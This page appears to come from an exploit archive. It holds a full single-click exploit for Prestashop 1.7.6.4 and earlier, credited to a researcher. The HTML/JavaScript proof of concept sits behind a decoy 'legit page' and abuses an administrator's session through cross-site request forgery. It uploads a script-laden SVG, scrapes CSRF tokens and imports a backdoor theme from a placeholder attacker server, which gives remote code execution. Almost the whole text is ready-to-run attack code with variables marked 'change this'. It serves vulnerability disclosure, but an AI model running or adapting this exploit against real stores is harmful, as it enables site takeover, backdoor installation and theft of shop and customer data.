prestashop 1.7.6.4 crosssite request forgery

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Code...

				
<html>

<!--

# Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit
# Date: 2020-04-11
# Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.6.4 and below
# Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4

Prestashop <= 1.7.6.4 single-click RCE exploit

Written by Sivanesh Ashok | @sivaneshashok | stazot.com

For more details, visit https://stazot.com/prestashop-csrf-to-rce-article

Change the values of the 3 variables marked as "change this"
  
-->

<!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <h3>This is totally a legit page. Just keep reading this for a minute :)</h3>

  <script>history.pushState('', '', '/')</script>
    <script>
      var target = "http://localhost"; //change this
      var admin_url = "/admin123ab45cd"; //change this
      var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file
      var xhr0 = new XMLHttpRequest();
      xhr0.open("GET", target+admin_url+"/filemanager/dialog.php");
      xhr0.withCredentials = true;
      xhr0.send();
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", target+admin_url+"/filemanager/upload.php", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
        xhr.withCredentials = true;
        var body = "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" + 
          "Content-Type: image/svg+xml\r\n" + 
          "\r\n" + 
          "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" + 
          "\r\n" + 
          "\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" + 
          "\t\r\n" + 
          "\t\x3cscript\x3e\r\n" + 
          "\t\r\n" + 
          "\t$.ajaxSetup({async: false});\r\n" + 
          "\r\n" + 
          "\tvar target = \'" + target + "\';\r\n" + 
          "\tvar admin_url = \'" + admin_url + "\';\r\n" + 
          "\tvar theme_url = \'" + theme_url + "\';\r\n" + 
          "\tvar import_url = \'\';\r\n" + 
          "\tvar import_token = \'\';\r\n" + 
          "\t\r\n" + 
          "\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" + 
          "\t\r\n" + 
          "\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\"=\");\r\n" + 
          "\t\ttmp = tmp[1];\r\n" + 
          "\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\t$.get(import_url, function( my_var1 ) {\r\n" + 
          "\r\n" + 
          "\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\' \');\r\n" + 
          "\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" + 
          "\t\timport_token = tmp[1];\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\tvar themeUploadData = new FormData();\r\n" + 
          "\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" + 
          "\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" + 
          "\r\n" + 
          "\t$.ajax({\r\n" + 
          "\t\turl: import_url,\r\n" + 
          "\t\tdata: themeUploadData,\r\n" + 
          "\t\tcache: false,\r\n" + 
          "\t\tcontentType: false,\r\n" + 
          "\t\tprocessData: false,\r\n" + 
          "\t\tmethod: \'POST\'\r\n" + 
          "\t});\r\n" + 
          "\r\n" + 
          "\t\x3c/script\x3e\r\n" + 
          "\r\n" + 
          "\x3c/svg\x3e\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      window.setTimeout(function(){
        submitRequest();
      }, 1500);
      window.setTimeout(function(){
        var iframe = document.createElement('iframe');
        iframe.style.display = "none";
        iframe.src = target+"/img/cms/exploit.svg";
        document.body.appendChild(iframe);
      }, 4000);
    </script>
  </body>
</html>

Prestashop 1.7.6.4 crosssite request forgery Vulnerability / Exploit Source : Prestashop 1.7.6.4 crosssite request forgery

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